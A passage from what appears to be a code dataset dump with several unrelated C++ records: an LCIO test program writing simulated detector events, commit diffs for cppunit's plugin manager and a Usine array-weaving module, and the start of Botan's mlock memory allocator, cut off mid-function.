string FILEN = \"simjob.slcio\" ;\n\n\n\/** Simple test program to demonstrate writing of data with lcio.\n *\/\n\nint main(int argc, char** argv ){\n \n try{\n \/\/ create sio writer\n LCWriter* lcWrt = LCFactory::getInstance()->createLCWriter() ;\n \n if( argc > 1 ) { FILEN = argv[1] ; }\n \n try{ lcWrt->open( FILEN ) ;\n }\n catch( IOException& e ){ \n cout << e.what() << endl ;\n return 0 ;\n }\n\/\/ int status ;\n\/\/ if( (status = lcWrt->open( FILEN )) != LCIO::SUCCESS ) {\n\/\/ cout << \" couldn't open file : \" << FILEN << \" status: \" << status << endl ;\n\/\/ return 0 ;\n\/\/ }\n \n \/\/ loop over runs\n for(int rn=0;rn<NRUN;rn++){\n \n LCRunHeaderImpl* runHdr = new LCRunHeaderImpl ; \n runHdr->setRunNumber( rn ) ;\n \n string detName(\"D09TileHcal\") ;\n runHdr->setDetectorName( detName ) ;\n \n stringstream description ; \n description << \" run: \" << rn <<\" just for testing lcio - no physics !\" ;\n runHdr->setDescription( description.str() ) ;\n \n string ecalName(\"ECAL007\") ;\n runHdr->addActiveSubdetector( ecalName ) ;\n \n string tpcName(\"TPC4711\") ;\n runHdr->addActiveSubdetector( tpcName ) ;\n \n lcWrt->writeRunHeader( runHdr ) ;\n \n \/\/ EventLoop - create some events and write them to the file\n for(int i=0;i<NEVENT;i++){\n\t\n\t\/\/ we need to use the implementation classes here \n\tLCEventImpl* evt = new LCEventImpl() ;\n\t\n\t\n\tevt->setRunNumber( rn ) ;\n\tevt->setEventNumber( i ) ;\n\tevt->setDetectorName( detName ) ;\n\t\n\t\/\/ create and add some mc particles \n\tLCCollectionVec* mcVec = new LCCollectionVec( LCIO::MCPARTICLE ) ;\n\t\n\n\n\tMCParticleImpl* mom = new MCParticleImpl ;\n\tmom->setPDG( 1 ) ;\n\tfloat p0[3] = { 0. , 0. , 1000. } ;\n\tmom->setMomentum( p0 ) ;\n\n\n\tfor(int j=0;j<NMCPART;j++){\n\n\t MCParticleImpl* mcp = new MCParticleImpl ;\n\n\t mcp->setPDG( 1000 * (j+1) ) ;\n\t float p[3] = { j*1. , 4.\/1024. , 8.\/1024. } ;\n\t mcp->setMomentum( p ) ;\n\n\t \/\/ create and add some daughters\n\t for(int k=0;k<3;k++){\n\t MCParticleImpl* d1 = new MCParticleImpl ;\n\n\t d1->setPDG( 1000 * (j+1) + 100 * (k+1) ) ;\n\t float pd1[3] = { k*1. , 4.1 , 8.1 } ;\n\t d1->setMomentum( pd1 ) ;\n\t \n\t for(int l=0;l<2;l++){\n\t MCParticleImpl* d2 = new MCParticleImpl ;\n\t \n\t d2->setPDG( 1000 * (j+1) + 100 * (k+1) + 10 * (l+1) ) ;\n\t float pd2[3] = { l*1. , 0.41 , 4.1 } ;\n\t d2->setMomentum( pd2 ) ;\n\n\t d2->setParent( d1 );\n\t d1->addDaughter( d2 ) ;\n\t mcVec->push_back( d2 ) ;\n\t }\n\t d1->setParent( mcp );\n\t mcp->addDaughter( d1 ) ;\n\t mcVec->push_back( d1 ) ;\n\t }\n\t \n\t mcp->setParent( mom );\n\t mom->addDaughter( mcp ) ;\n\t mcVec->push_back( mcp ) ;\n\t}\n\tmcVec->push_back( mom ) ;\n\t\n\t\/\/ now add some calorimeter hits\n\tLCCollectionVec* calVec = new LCCollectionVec( LCIO::SIMCALORIMETERHIT ) ;\n \n\t\/\/ set flag for long format (including position )\n\t\/\/ and PDG \n\tLCFlagImpl chFlag(0) ;\n\tchFlag.setBit( LCIO::CHBIT_LONG ) ;\n\tchFlag.setBit( LCIO::CHBIT_PDG ) ;\n\tcalVec->setFlag( chFlag.getFlag() ) ;\n\t\n\t\n\tfor(int j=0;j<NHITS;j++){\n\t \n\t SimCalorimeterHitImpl* hit = new SimCalorimeterHitImpl ;\n\t \n\t hit->setEnergy( 3.1415 * rand()\/RAND_MAX ) ;\n\t \n\t float pos[3] = { 1.1* rand()\/RAND_MAX , 2.2* rand()\/RAND_MAX , 3.3* rand()\/RAND_MAX } ;\n\t \n\t hit->setPosition( pos ) ;\n\t \n\t calVec->push_back( hit ) ;\n\t \n\t \/\/ assign the hits randomly to MC particles\n\t float rn = .99999*rand()\/RAND_MAX ;\n\t int mcIndx = static_cast<int>( NMCPART * rn ) ;\n\t \n\t \/\/ in order to access a MCParticle, we need a dynamic cast as the \n\t \/\/ LCCollection returns an LCIOObject - this is like vectors in Java \n\t hit->addMCParticleContribution( dynamic_cast<const MCParticle*>(mcVec->getElementAt( mcIndx )) , \n\t\t\t\t\t 0.314159, 0.1155 ) ; \/\/ no pdg\n\t \n\t}\n\t\n\t\/\/ we can modify hits that already exist in a collection, e.g. in a simulation step function ...\n\t\/\/ we need a non const pointer to the hit and use the std::vector::operator[]() instead of the \n\t\/\/ LCCollection::getElementAt(i)\n\tfor(int j=0;j<NHITS;j++){\n\t SimCalorimeterHitImpl* existingHit = dynamic_cast<SimCalorimeterHitImpl*>( (*calVec)[j] ) ;\n\n\t existingHit->addMCParticleContribution( dynamic_cast<const MCParticle*>\n\t\t\t\t\t\t (mcVec->getElementAt(0)), \n\t\t\t\t\t\t 0.1, 0. ) ;\n\t}\n\n\t\/\/ and finally some tracker hits\n\t\/\/ with some user extensions (4 floats and 2 ints) per track:\n\t\/\/ we just create parallel collections of float and int vectors\n\tLCCollectionVec* trkVec = new LCCollectionVec( LCIO::SIMTRACKERHIT ) ;\n\tLCCollectionVec* extFVec = new LCCollectionVec( LCIO::LCFLOATVEC ) ;\n\tLCCollectionVec* extIVec = new LCCollectionVec( LCIO::LCINTVEC ) ;\n\t\n\tfor(int j=0;j<NHITS;j++){\n\t \n\t SimTrackerHitImpl* hit = new SimTrackerHitImpl ;\n\t LCFloatVec* extF = new LCFloatVec ;\n\t LCIntVec* extI = new LCIntVec ;\n\t \n\t hit->setdEdx( 30e-9 ) ; \n\n\t double pos[3] = { 1.1* rand()\/RAND_MAX , 2.2* rand()\/RAND_MAX , 3.3* rand()\/RAND_MAX } ;\n\t \n\t hit->setPosition( pos ) ; \n\t \n\t \/\/ assign the hits randomly to MC particles\n\t float rn = .99999*rand()\/RAND_MAX ;\n\t int mcIndx = static_cast<int>( NMCPART * rn ) ;\n\t \n\t hit->setMCParticle( dynamic_cast<const MCParticle*>(mcVec->getElementAt( mcIndx ) ) ) ;\n\t \n\t \n\t \/\/ fill the extension vectors (4 floats, 2 ints)\n\t extF->push_back( 3.14159 ) ; \n\t for(int k=0;k<3;k++) extF->push_back( pos[k] * 0.1 ) ;\n\n\t extI->push_back( 123456789 ) ;\n\t extI->push_back( mcIndx ) ;\n\n\t \/\/ add the hit and the extensions to their corresponding collections\n\t trkVec->push_back( hit ) ;\n\t extFVec->push_back( extF ) ;\n\t extIVec->push_back( extI ) ;\n\t}\n\t\n\t\n\t\/\/ add all collection to the event\n\tevt->addCollection( (LCCollection*) mcVec , \"MCParticle\" ) ;\n\tevt->addCollection( (LCCollection*) calVec , ecalName ) ;\n\tevt->addCollection( (LCCollection*) trkVec , tpcName ) ;\n\tevt->addCollection( (LCCollection*) extFVec , tpcName+\"UserFloatExtension\" ) ;\n\tevt->addCollection( (LCCollection*) extIVec , tpcName+\"UserIntExtension\" ) ;\n\t\n\t\n\t\n\t\/\/ test: add a collection for one event only:\n\tif( rn == NRUN-1 && i == 0 ) { \/\/ first event o last run\n\t LCCollectionVec* addExtVec = new LCCollectionVec( LCIO::LCFLOATVEC ) ;\n\t LCFloatVec* addExt = new LCFloatVec ;\n\t addExt->push_back( 1. );\n\t addExt->push_back( 2. );\n\t addExt->push_back( 3. );\n\t addExt->push_back( 4. );\n\t addExtVec->push_back( addExt ) ;\n\t evt->addCollection( (LCCollection*) addExtVec , \"AdditionalExtension\" ) ;\n\t}\n\n\n \n\t\/\/ write the event to the file\n\tlcWrt->writeEvent( evt ) ;\n\t\n\t\/\/ dump the event to the screen \n\tLCTOOLS::dumpEvent( evt ) ;\n\t\/\/\tLCTOOLS::printMCParticles( mcVec ) ;\n\t\n\t\/\/ we created the event so we need to take care of deleting it ...\n\tdelete evt ;\n\t\n\tif( ! (i%100) ) cout << \". \" << flush ;\n\t\n } \/\/ evt loop\n } \/\/ run loop\n \n cout << endl \n\t << \" created \" << NRUN << \" runs with \" << NRUN*NEVENT << \" events\" \n\t << endl << endl ;\n \n \n \n lcWrt->close() ;\n \n } catch( Exception& ex){\n\n cout << \" an excpetion occured: \" << endl ;\n cout << \" \" << ex.what() << endl ;\n return 1 ;\n }\n\n return 0 ;\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include <cppunit\/XmlOutputterHook.h>\n\n#if !defined(CPPUNIT_NO_TESTPLUGIN)\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/plugin\/PlugInManager.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n#include <cppunit\/plugin\/DynamicLibraryManager.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\nPlugInManager::PlugInManager()\n{\n}\n\n\nPlugInManager::~PlugInManager()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n unload( *it );\n}\n\n\nvoid\nPlugInManager::load( const std::string &libraryFileName,\n const PlugInParameters ¶meters )\n{\n PlugInInfo info;\n info.m_fileName = libraryFileName;\n info.m_manager = new DynamicLibraryManager( libraryFileName );\n\n TestPlugInSignature plug = (TestPlugInSignature)info.m_manager->findSymbol( \n CPPUNIT_STRINGIZE( CPPUNIT_PLUGIN_EXPORTED_NAME ) );\n info.m_interface = (*plug)();\n\n m_plugIns.push_back( info );\n \n info.m_interface->initialize( &TestFactoryRegistry::getRegistry(), parameters );\n}\n\n\nvoid \nPlugInManager::unload( const std::string &libraryFileName )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n {\n if ( it->m_fileName == libraryFileName )\n {\n unload( *it );\n m_plugIns.erase( it );\n break;\n }\n }\n}\n\n\nvoid \nPlugInManager::addListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->addListener( eventManager );\n}\n\n\nvoid \nPlugInManager::removeListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->removeListener( eventManager );\n}\n\n\nvoid \nPlugInManager::unload( PlugInInfo &plugIn )\n{\n try\n {\n plugIn.m_interface->uninitialize( &TestFactoryRegistry::getRegistry() );\n delete plugIn.m_manager;\n }\n catch (...)\n {\n delete plugIn.m_manager;\n plugIn.m_manager = NULL;\n throw;\n }\n}\n\n\nvoid \nPlugInManager::addXmlOutputterHooks( XmlOutputter *outputter )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->addXmlOutputterHooks( outputter );\n}\n\n\nvoid \nPlugInManager::removeXmlOutputterHooks()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n it->m_interface->removeXmlOutputterHooks();\n}\n\n\nCPPUNIT_NS_END\n\n#endif \/\/ !defined(CPPUNIT_NO_TESTPLUGIN)\n<commit_msg>Dereferencing fix for SUN4<commit_after>#include <cppunit\/XmlOutputterHook.h>\n\n#if !defined(CPPUNIT_NO_TESTPLUGIN)\n#include <cppunit\/extensions\/TestFactoryRegistry.h>\n#include <cppunit\/plugin\/PlugInManager.h>\n#include <cppunit\/plugin\/TestPlugIn.h>\n#include <cppunit\/plugin\/DynamicLibraryManager.h>\n\n\nCPPUNIT_NS_BEGIN\n\n\nPlugInManager::PlugInManager()\n{\n}\n\n\nPlugInManager::~PlugInManager()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n unload( *it );\n}\n\n\nvoid\nPlugInManager::load( const std::string &libraryFileName,\n const PlugInParameters ¶meters )\n{\n PlugInInfo info;\n info.m_fileName = libraryFileName;\n info.m_manager = new DynamicLibraryManager( libraryFileName );\n\n TestPlugInSignature plug = (TestPlugInSignature)info.m_manager->findSymbol( \n CPPUNIT_STRINGIZE( CPPUNIT_PLUGIN_EXPORTED_NAME ) );\n info.m_interface = (*plug)();\n\n m_plugIns.push_back( info );\n \n info.m_interface->initialize( &TestFactoryRegistry::getRegistry(), parameters );\n}\n\n\nvoid \nPlugInManager::unload( const std::string &libraryFileName )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n {\n if ( (*it).m_fileName == libraryFileName )\n {\n unload( *it );\n m_plugIns.erase( it );\n break;\n }\n }\n}\n\n\nvoid \nPlugInManager::addListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->addListener( eventManager );\n}\n\n\nvoid \nPlugInManager::removeListener( TestResult *eventManager )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->removeListener( eventManager );\n}\n\n\nvoid \nPlugInManager::unload( PlugInInfo &plugIn )\n{\n try\n {\n plugIn.m_interface->uninitialize( &TestFactoryRegistry::getRegistry() );\n delete plugIn.m_manager;\n }\n catch (...)\n {\n delete plugIn.m_manager;\n plugIn.m_manager = NULL;\n throw;\n }\n}\n\n\nvoid \nPlugInManager::addXmlOutputterHooks( XmlOutputter *outputter )\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->addXmlOutputterHooks( outputter );\n}\n\n\nvoid \nPlugInManager::removeXmlOutputterHooks()\n{\n for ( PlugIns::iterator it = m_plugIns.begin(); it != m_plugIns.end(); ++it )\n (*it).m_interface->removeXmlOutputterHooks();\n}\n\n\nCPPUNIT_NS_END\n\n#endif \/\/ !defined(CPPUNIT_NO_TESTPLUGIN)\n<|endoftext|>"} {"text":"<commit_before>\/\/-----------------------------------------------------------------------------\r\n\/\/@file \r\n\/\/\tWeaveArray.cpp\r\n\/\/\r\n\/\/@author\r\n\/\/\tab5tract\r\n\/\/\r\n\/\/@brief \r\n\/\/\tImplementation of the WeaveArray class.\r\n\/\/\r\n\/\/-----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ includes\r\n\/\/-----------------------------------------------------------------------------\r\n#include \"WeaveArray.h\"\r\n\r\n\/\/----------------------------------------------------------------------------\r\n\/\/ create, general info and destroy methodes\r\n\/\/----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Create\r\nvoid CreateModule (void* &pModule, AnsiCharPtr optionalString, LongBool Flag, MasterInfo* pMasterInfo, AnsiCharPtr optionalContent)\r\n{\r\n\tpModule = new WeaveArray ();\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ destroy\r\nvoid DestroyModule (void* pModule) \r\n{\r\n \/\/ cast is important to call the good destructor\r\n\tdelete ((WeaveArray*)pModule);\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ module description\r\nvoid WeaveArray::onGetModuleInfo (MasterInfo* pMasterInfo, ModuleInfo* pModuleInfo) \r\n{\r\n\r\n\t\/\/identification of the module\r\n\tpModuleInfo->Name\t\t\t\t= \"weave array\";\r\n\tpModuleInfo->Description\t\t= \"Weave Arrays\";\r\n\tpModuleInfo->ModuleType = mtSimple;\r\n\tpModuleInfo->BackColor = sdkGetUsineColor(clDataModuleColor);\r\n\tpModuleInfo->NumberOfParams = 3;\r\n\tpModuleInfo->Version\t\t\t= \"1.0\";\r\n\tpModuleInfo->DontProcess\t\t= TRUE;\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ query system and init methodes\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ query system not used\r\n\r\n\/\/void WeaveArray::onInitModule (MasterInfo* pMasterInfo, ModuleInfo* pModuleInfo) \r\n\/\/{\r\n\/\/}\r\n\r\n\/\/----------------------------------------------------------------------------\r\n\/\/ parameters and process\r\n\/\/----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Parameters description\r\nvoid WeaveArray::onGetParamInfo (int ParamIndex, TParamInfo* pParamInfo) \r\n{\r\n\t\/\/ all parameters declared in the module class\t\t\r\n\tswitch (ParamIndex) \r\n\t{\r\n\t\/\/ waInput1\r\n\tcase 0:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"array 1\";\r\n\t\tpParamInfo->IsInput\t\t\t= TRUE;\r\n\t\tpParamInfo->IsOutput\t\t= FALSE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n\t\tpParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ waInput2\r\n\tcase 1:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"array 2\";\r\n\t\tpParamInfo->IsInput\t\t\t= TRUE;\r\n\t\tpParamInfo->IsOutput\t\t= FALSE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n\t\tpParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ waOutput\r\n\tcase 2:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"output\";\r\n\t\tpParamInfo->IsInput\t\t\t= FALSE;\r\n\t\tpParamInfo->IsOutput\t\t= TRUE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n pParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ default case\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ set the parameters events address\r\nvoid WeaveArray::onSetEventAddress (int ParamIndex, UsineEventPtr pEvent) \r\n{\r\n\t\r\n\t\/\/Initialyse all events adress declared in your module class\r\n\tswitch (ParamIndex) \r\n {\r\n\t\/\/ waInput1\r\n\tcase 0:\r\n\t\twaInput1 = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ waInput2\r\n\tcase 1:\r\n\t\twaInput2 = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ waOutput\r\n\tcase 2:\r\n\t\twaOutput = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ default case\r\n\tdefault:\r\n\t\tbreak;\r\n\r\n\t}\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Parameters callback\r\nvoid WeaveArray::onCallBack (UsineMessage* Message) \r\n{\r\n\ttry\r\n\t{\r\n if (Message->message == NOTIFY_MSG_USINE_CALLBACK)\r\n {\r\n int paramIndex = (int)Message->wParam;\r\n\r\n if((paramIndex == 0 || paramIndex == 1) && Message->lParam == MSG_CHANGE)\r\n {\r\n \/*\r\n int tmp1,tmp2;\r\n tmp1 = sdkGetEvtSize(waInput1);\r\n tmp2 = sdkGetEvtSize(waInput2);\r\n if (tmp1 != input1Length || tmp2 != input2Length)\r\n {\r\n input1Length = tmp1;\r\n input2Length = tmp2;\r\n outputLength = input1Length + input2Length;\r\n for( int i=0; i < outputLength; i++)\r\n {\r\n sdkSetEvtArrayData(waOutput, i, 0);\r\n }\r\n }\r\n *\/\r\n input1Length = sdkGetEvtSize(waInput1);\r\n input2Length = sdkGetEvtSize(waInput2);\r\n outputLength = input1Length + input2Length;\r\n writeOutput();\r\n }\r\n }\r\n\t}\r\n\tcatch (...)\r\n\t{\r\n\t\t\/\/sdkTraceErrorChar(\"error\");\r\n\t}\r\n}\r\n\r\nvoid WeaveArray::writeOutput()\r\n{\r\n sdkSetEvtSize(waOutput, outputLength);\r\n int i;\r\n int r = 0;\r\n\r\n if ( input1Length <= input2Length )\r\n {\r\n for ( i=0; i < input1Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1, i));\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2, i));\r\n }\r\n \r\n for ( i=input1Length; i < input2Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2,i));\r\n }\r\n }\r\n else\r\n {\r\n for ( i=0; i < input2Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1, i));\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2, i));\r\n }\r\n \r\n for ( i=input2Length; i < input1Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1,i));\r\n }\r\n }\r\n}\r\n<commit_msg>remove unnecessary code<commit_after>\/\/-----------------------------------------------------------------------------\r\n\/\/@file \r\n\/\/\tWeaveArray.cpp\r\n\/\/\r\n\/\/@author\r\n\/\/\tab5tract\r\n\/\/\r\n\/\/@brief \r\n\/\/\tImplementation of the WeaveArray class.\r\n\/\/\r\n\/\/-----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ includes\r\n\/\/-----------------------------------------------------------------------------\r\n#include \"WeaveArray.h\"\r\n\r\n\/\/----------------------------------------------------------------------------\r\n\/\/ create, general info and destroy methodes\r\n\/\/----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Create\r\nvoid CreateModule (void* &pModule, AnsiCharPtr optionalString, LongBool Flag, MasterInfo* pMasterInfo, AnsiCharPtr optionalContent)\r\n{\r\n\tpModule = new WeaveArray ();\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ destroy\r\nvoid DestroyModule (void* pModule) \r\n{\r\n \/\/ cast is important to call the good destructor\r\n\tdelete ((WeaveArray*)pModule);\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ module description\r\nvoid WeaveArray::onGetModuleInfo (MasterInfo* pMasterInfo, ModuleInfo* pModuleInfo) \r\n{\r\n\r\n\t\/\/identification of the module\r\n\tpModuleInfo->Name\t\t\t\t= \"weave array\";\r\n\tpModuleInfo->Description\t\t= \"Weave Arrays\";\r\n\tpModuleInfo->ModuleType = mtSimple;\r\n\tpModuleInfo->BackColor = sdkGetUsineColor(clDataModuleColor);\r\n\tpModuleInfo->NumberOfParams = 3;\r\n\tpModuleInfo->Version\t\t\t= \"1.0\";\r\n\tpModuleInfo->DontProcess\t\t= TRUE;\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ query system and init methodes\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ query system not used\r\n\r\n\/\/void WeaveArray::onInitModule (MasterInfo* pMasterInfo, ModuleInfo* pModuleInfo) \r\n\/\/{\r\n\/\/}\r\n\r\n\/\/----------------------------------------------------------------------------\r\n\/\/ parameters and process\r\n\/\/----------------------------------------------------------------------------\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Parameters description\r\nvoid WeaveArray::onGetParamInfo (int ParamIndex, TParamInfo* pParamInfo) \r\n{\r\n\t\/\/ all parameters declared in the module class\t\t\r\n\tswitch (ParamIndex) \r\n\t{\r\n\t\/\/ waInput1\r\n\tcase 0:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"array 1\";\r\n\t\tpParamInfo->IsInput\t\t\t= TRUE;\r\n\t\tpParamInfo->IsOutput\t\t= FALSE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n\t\tpParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ waInput2\r\n\tcase 1:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"array 2\";\r\n\t\tpParamInfo->IsInput\t\t\t= TRUE;\r\n\t\tpParamInfo->IsOutput\t\t= FALSE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n\t\tpParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ waOutput\r\n\tcase 2:\r\n\t\tpParamInfo->ParamType\t\t= ptArray;\r\n\t\tpParamInfo->Caption\t\t\t= \"output\";\r\n\t\tpParamInfo->IsInput\t\t\t= FALSE;\r\n\t\tpParamInfo->IsOutput\t\t= TRUE;\r\n pParamInfo->MinValue\t\t= - FLT_MAX;\r\n pParamInfo->MaxValue\t\t= FLT_MAX;\r\n pParamInfo->CallBackType\t= ctImmediate;\r\n\t\tbreak;\r\n\r\n\t\/\/ default case\r\n\tdefault:\r\n\t\tbreak;\r\n\t}\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ set the parameters events address\r\nvoid WeaveArray::onSetEventAddress (int ParamIndex, UsineEventPtr pEvent) \r\n{\r\n\t\r\n\t\/\/Initialyse all events adress declared in your module class\r\n\tswitch (ParamIndex) \r\n {\r\n\t\/\/ waInput1\r\n\tcase 0:\r\n\t\twaInput1 = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ waInput2\r\n\tcase 1:\r\n\t\twaInput2 = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ waOutput\r\n\tcase 2:\r\n\t\twaOutput = pEvent;\r\n\t\tbreak;\r\n\r\n\t\/\/ default case\r\n\tdefault:\r\n\t\tbreak;\r\n\r\n\t}\r\n}\r\n\r\n\/\/-----------------------------------------------------------------------------\r\n\/\/ Parameters callback\r\nvoid WeaveArray::onCallBack (UsineMessage* Message) \r\n{\r\n\ttry\r\n\t{\r\n if (Message->message == NOTIFY_MSG_USINE_CALLBACK)\r\n {\r\n int paramIndex = (int)Message->wParam;\r\n\r\n if((paramIndex == 0 || paramIndex == 1) && Message->lParam == MSG_CHANGE)\r\n {\r\n input1Length = sdkGetEvtSize(waInput1);\r\n input2Length = sdkGetEvtSize(waInput2);\r\n outputLength = input1Length + input2Length;\r\n writeOutput();\r\n }\r\n }\r\n\t}\r\n\tcatch (...)\r\n\t{\r\n\t\t\/\/sdkTraceErrorChar(\"error\");\r\n\t}\r\n}\r\n\r\nvoid WeaveArray::writeOutput()\r\n{\r\n sdkSetEvtSize(waOutput, outputLength);\r\n int i;\r\n int r = 0;\r\n\r\n if ( input1Length <= input2Length )\r\n {\r\n for ( i=0; i < input1Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1, i));\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2, i));\r\n }\r\n \r\n for ( i=input1Length; i < input2Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2,i));\r\n }\r\n }\r\n else\r\n {\r\n for ( i=0; i < input2Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1, i));\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput2, i));\r\n }\r\n \r\n for ( i=input2Length; i < input1Length; i++ )\r\n {\r\n sdkSetEvtArrayData(waOutput, r++, sdkGetEvtArrayData(waInput1,i));\r\n }\r\n }\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n* Mlock Allocator\n* (C) 2012 Jack Lloyd\n*\n* Distributed under the terms of the Botan license\n*\/\n\n#include <botan\/locking_allocator.h>\n#include <botan\/internal\/assert.h>\n#include <algorithm>\n#include <cstring>\n#include <sys\/mman.h>\n#include <sys\/resource.h>\n\nnamespace Botan {\n\nnamespace {\n\nsize_t mlock_limit()\n {\n struct rlimit limits;\n ::getrlimit(RLIMIT_MEMLOCK, &limits);\n\n if(limits.rlim_cur < limits.rlim_max)\n {\n limits.rlim_cur = limits.rlim_max;\n ::setrlimit(RLIMIT_MEMLOCK, &limits);\n ::getrlimit(RLIMIT_MEMLOCK, &limits);\n }\n\n \/*\n * Linux defaults to only 64 KiB of mlockable memory per process\n * (too small) but BSDs offer a small fraction of total RAM (more\n * than we need). Bound the total mlock size to 256 KiB which is\n * enough to run the entire test suite without spilling to non-mlock\n * memory, but small enough that we should not cause problems if\n * multiple processes are mlocking on the same machine.\n *\/\n return std::min<size_t>(limits.rlim_cur, 256*1024);\n }\n\nbool ptr_in_pool(const void* pool_ptr, size_t poolsize,\n const void* buf_ptr, size_t bufsize)\n {\n const size_t pool = reinterpret_cast<size_t>(pool_ptr);\n const size_t buf = reinterpret_cast<size_t>(buf_ptr);\n\n if(buf < pool || buf >= pool + poolsize)\n return false;\n\n BOTAN_ASSERT(buf + bufsize <= pool + poolsize,\n \"Invalid pointer\/length halfway into mem pool\");\n\n return true;\n }\n\n}\n\nvoid* mlock_allocator::allocate(size_t n, size_t alignment)\n {\n if(!m_pool || n >= m_poolsize)\n return nullptr; \/\/ bigger than the whole pool!\n\n std::lock_guard<std::mutex> lock(m_mutex);\n\n auto best_fit = m_freelist.end();\n\n for(auto i = m_freelist.begin(); i != m_freelist.end(); ++i)\n {\n \/\/ If we have a perfect fit, use it immediately\n if(i->second == n && (i->first % alignment) == 0)\n {\n const size_t offset = i->first;\n m_freelist.erase(i);\n ::memset(m_pool + offset, 0, n);\n return m_pool + offset;\n }\n\n if((i->second > (i->first % alignment) + n) &&\n ((best_fit == m_freelist.end()) || (best_fit->second > i->second)))\n {\n best_fit = i;\n }\n }\n\n if(best_fit != m_freelist.end())\n {\n const size_t offset = best_fit->first;\n\n size_t alignment_padding = offset % 